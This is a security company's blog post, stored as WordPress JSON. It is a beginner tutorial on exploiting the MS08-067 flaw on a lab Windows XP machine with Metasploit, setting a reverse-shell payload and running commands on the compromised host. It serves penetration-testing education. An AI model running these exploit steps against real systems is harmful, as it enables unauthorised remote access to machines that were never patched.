{"id":5158,"date":"2019-03-19T14:01:36","date_gmt":"2019-03-19T08:31:36","guid":{"rendered":"https:\/\/www.getastra.com\/blog\/cms\/how-to-hack-windows-xp-using-metasploit-kali-linux-ms08067\/"},"modified":"2021-06-24T15:56:07","modified_gmt":"2021-06-24T10:26:07","slug":"how-to-hack-windows-xp-using-metasploit-kali-linux-ms08067","status":"publish","type":"post","link":"https:\/\/www.getastra.com\/blog\/security-audit\/how-to-hack-windows-xp-using-metasploit-kali-linux-ms08067\/","title":{"rendered":"Metasploit Basics for Beginners &#8211; Exploiting Windows XP (MS08\u2013067) with Metasploit (Kali\u00a0Linux)  &#8211; Part 1"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">We will be going through the basics of using Metasploit to exploit Windows XP machine using MS08\u2013067 vulnerability in this article.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5rt7j\"><span class=\"ez-toc-section\" id=\"Setup_Used_for_Practicing_Metasploit_Basics\"><\/span><strong>Setup Used for Practicing Metasploit Basics:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ol class=\"wp-block-list\"><li>Install the latest version of Virtualbox based on your host o\/s from (<a href=\"https:\/\/www.virtualbox.org\/wiki\/Downloads\" target=\"_blank\" rel=\"noopener\">https:\/\/www.virtualbox.org\/wiki\/Downloads<\/a>)<\/li><li>Download and install Kali Linux 2018.2 ISO as Virtualbox VM and set Networking to Bridged mode for this VM.<\/li><li>Buy and Install a Fresh Windows XP SP2 ISO with no updates installed as Virtualbox VM and set Networking to Bridged mode for this VM.<\/li><li>It is recommended to confirm if Windows XP VM we have installed is Missing ms08\u2013067 Update\u200a\u2014\u200a(<a href=\"https:\/\/docs.microsoft.com\/en-us\/security-updates\/securitybulletins\/2008\/ms08-067\" target=\"_blank\" rel=\"noopener\">https:\/\/docs.microsoft.com\/en-us\/security-updates\/securitybulletins\/2008\/ms08-067<\/a>) and if you found this update installed, kindly uninstall this update.<\/li><\/ol>\n\n\n\n<ul class=\"wp-block-list\"><li>We need Kali Linux 2018.2 as Kali comes with Metasploit Framework pre-installed.<\/li><li>We need Target Windows machine to explore the steps involved in using Metasploit to exploit MS08\u2013067: Vulnerability in Server Service Could Allow Remote Code Execution (<a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2008-4250\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cvedetails.com\/cve\/CVE-2008-4250\/<\/a>)<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4tumk\"><span class=\"ez-toc-section\" id=\"Starting_Metasploit_Framework_in_Kali_VM\"><\/span><strong>Starting Metasploit Framework in Kali VM:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">1) Start the PostgreSQL database with the following command in Kali Terminal<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>service postgresql start\n<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/2_b078c9e73bf6b7737a01fb68e070e18e_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">2) Now we can start the Metasploit service with the following command in Kali Terminal<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>service metasploit start<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">3) Once metasploit service has started now we can start metasploit text based console with the following command in Kali Terminal<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/3_b86b52e4c077eb41ce29f7f9007dbcb3_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7s4o7\"><span class=\"ez-toc-section\" id=\"Basics_of_Metasploit_Framework_via_exploitation_of_ms08%E2%80%93067_vulnerability_in_Windows_XP_VM\"><\/span><strong>Basics of Metasploit Framework via exploitation of ms08\u2013067 vulnerability in Windows XP VM:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"as7i5\">1) Metasploit search command usage<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">We will use search command to search for if any module available in metasploit for vulnerability in focus which is ms08\u2013067, hence enter the following command in kali terminal<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>search ms08\u2013067<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/4_bd6c1cc168c2425e46c4a9ac43e279a3_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"2hlgl\">2) Metasploit Info command usage<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Now in order to gather detailed information about available metasploit module for ms08\u2013067 vulnerability, we will enter the following command in kali terminal<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Info exploit\/windows\/smb\/ms08_067_netapi<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image image large\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/5_09f78cc9842fe65ceb284dd7023fecde_1000.png\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The key features to be noticed from info command results are mentioned below:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Platform, Rank, Privileged, Available Targets, Basic Options, Payload Information etc.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Platform\u200a<\/strong>: \u200aTarget Operating Systems in which this module will work like Windows or Linux or Android<\/li><li><strong>Rank<\/strong>\u200a: \u200aAlways recommended to choose exploits with a better ranking like Excellent or Great.<\/li><li><strong>Privileged<\/strong>\u200a: \u200aGives idea if this module will provide or need high privileges on the Target<\/li><li><strong>Available Targets:<\/strong> \u200aLists all possible targets that can be exploited by this module<\/li><li><strong>Basic Options:<\/strong> \u200aLists the options which can be set before using this module against the target. Allowing the user to customize various basic options based on attacker needs. It informs us of the mandatory options which need to be set for the module to run.<\/li><li><strong>Payload Information<\/strong>\u200a: \u200aLists the information which helps us decide which are payloads that are compatible with a specific exploit because payloads help us in post exploitation once the target is in our control.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Related Blog &#8211; <a href=\"https:\/\/www.getastra.com\/blog\/security-audit\/penetration-testing-report\/\">Astra&#8217;s Sample Penetration Testing Report<\/a><\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"f2dju\">3) Metasploit use command usage<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once we confirm the specific metasploit module (exploit) to use, we can execute the command below to use the specific exploit available for ms08\u2013067 vulnerability.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use windows\/smb\/ms08_067_netapi<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/6_97548802d98ea568fed5322894a5504c_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"858j9\">4) Setting up the Module Options in Metasploit<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once you have chosen specific exploit, enter the following command to list all options available for this exploit module and also notice the column Required in image below, It is mandatory to fill the options where the value of Required is yes.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show options<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/7_4aea4f4220d69f5166e99ce7f8e37d31_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"avt7o\">5) Setting RHOST to Target Windows XP VM IP Address<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">IP Address of Windows XP VM (Found by entering ipconfig command in cmd of Windows XP VM).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In Kali Terminal enter the command below to set RHOST as Windows XP VM<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Set RHOST 192.168.0.8<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/8_fe1105f9c3da09b5148523c58c1f8217_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can go ahead and change other options available such as RPORT and SMBPIPE to user defined values as per our need but for the sake of following through this article, we will leave all other options as default values set works fine for this exploit.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"djf6g\">6) Using an Available Target for specific Metasploit Module<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can enter the command mentioned below to list all available targets for our (ms08_067_netapi) module<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show targets<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/9_22363dcc70b0852e18ec97efaacbf387_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">We can set specific target based on operating system our target is running by entering the command below:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set Target (Target Number)<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/10_7c71ebcde344479a7fc2ca112d0802b4_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">But in this tutorial, we will leave the default option of Automatic Targeting.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Related Blog &#8211; <a href=\"https:\/\/www.getastra.com\/blog\/security-audit\/penetration-testing-report\/\">Penetration Testing<\/a><\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"11eio\">7) Selecting and using any of Compatible Payloads for this Exploit module<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Enter the following command in terminal to list all compatible payloads available for this exploit.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show payloads<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/11_57568322a64038d93ad94ce9c3ddee2d_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can set any of best payloads, let\u2019s say windows\u00e0shell_reverse_tcp by using the command below<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set payload windows\/shell_reverse_tcp<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"eodfs\">8) Setting up Payload Options before exploitation<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>show options<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image image large\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/12_60c10bd0635a9604e70df703e435d99a_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Enter the above command in terminal to view the options set for Payload and Module. We have already set the necessary options for module, now since our payload is a reverse shell, we need to set value for LHOST option to Kali Linux by using command mentioned below:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set LHOST 192.168.0.7<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"5ct11\">9) Exploiting the Target with Metasploit<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Now enter the <strong>exploit <\/strong>command in terminal now to get a command shell on our Target.<\/p>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/13_c5b7d2a0b90bac456407cebaaee8e6d6_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"ftobq\">10) Proof of Exploitation<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can execute some of windows commands to get information regarding the compromised machine using commands <strong>systeminfo<\/strong> and <strong>ipconfig<\/strong> as shown below:<\/p>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/14_77afcd130103e6e2ae71e550f73d1fc1_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image image large\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"\/cdn-cgi\/image\/quality=80,format=auto,onerror=redirect,metadata=none\/https:\/\/images.storychief.com\/account_5336\/15_294790904c64c860ff4a09d16d186da3_1000.png\" alt=\"Metasploit Basics for Beginners\"\/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Stay Tuned, we will explore Post Exploitation with Metasploit (Meterpreter Basics) in <a href=\"https:\/\/www.getastra.com\/blog\/security-audit\/meterpreter-commands-post-exploitation\/\" target=\"_blank\" aria-label=\"Part 2 of this article (opens in a new tab)\" rel=\"noreferrer noopener\" class=\"rank-math-link\">Part 2 of this article<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><!-- strchf script --><script>        if(window.strchfSettings === undefined) window.strchfSettings = {};    window.strchfSettings.stats = {url: \"https:\/\/astra-security.storychief.io\/how-to-hack-windows-xp-using-metasploit-kali-linux-ms08067?id=1398431976&type=2\",title: \"Metasploit Basics for Beginners - Exploiting Windows XP (MS08\u2013067) with Metasploit (Kali\u00a0Linux)  - Part 1\",id: \"8584b87e-9542-4b5e-bebf-59f4ae0db88b\"};            (function(d, s, id) {      var js, sjs = d.getElementsByTagName(s)[0];      if (d.getElementById(id)) {window.strchf.update(); return;}      js = d.createElement(s); js.id = id;      js.src = \"https:\/\/d37oebn0w9ir6a.cloudfront.net\/scripts\/v0\/strchf.js\";      js.async = true;      sjs.parentNode.insertBefore(js, sjs);    }(document, 'script', 'storychief-jssdk'))    <\/script><!-- End strchf script --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We will be going through the basics of using Metasploit to exploit Windows XP machine using MS08\u2013067 vulnerability in this article. Setup Used for Practicing Metasploit Basics: Install the latest version of Virtualbox based on your host o\/s from (https:\/\/www.virtualbox.org\/wiki\/Downloads) Download and install Kali Linux 2018.2 ISO as Virtualbox VM and set Networking to Bridged &#8230; <a title=\"Metasploit Basics for Beginners &#8211; Exploiting Windows XP (MS08\u2013067) with Metasploit (Kali\u00a0Linux)  &#8211; Part 1\" class=\"read-more\" href=\"https:\/\/www.getastra.com\/blog\/security-audit\/how-to-hack-windows-xp-using-metasploit-kali-linux-ms08067\/\" aria-label=\"Read more about Metasploit Basics for Beginners &#8211; Exploiting Windows XP (MS08\u2013067) with Metasploit (Kali\u00a0Linux)  &#8211; Part 1\">Read more<\/a><\/p>\n","protected":false},"author":33,"featured_media":12202,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[340],"tags":[],"class_list":["post-5158","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security-audit"],"_links":{"self":[{"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/posts\/5158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/users\/33"}],"replies":[{"embeddable":true,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/comments?post=5158"}],"version-history":[{"count":4,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/posts\/5158\/revisions"}],"predecessor-version":[{"id":14725,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/posts\/5158\/revisions\/14725"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/media\/12202"}],"wp:attachment":[{"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/media?parent=5158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/categories?post=5158"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.getastra.com\/blog\/wp-json\/wp\/v2\/tags?post=5158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}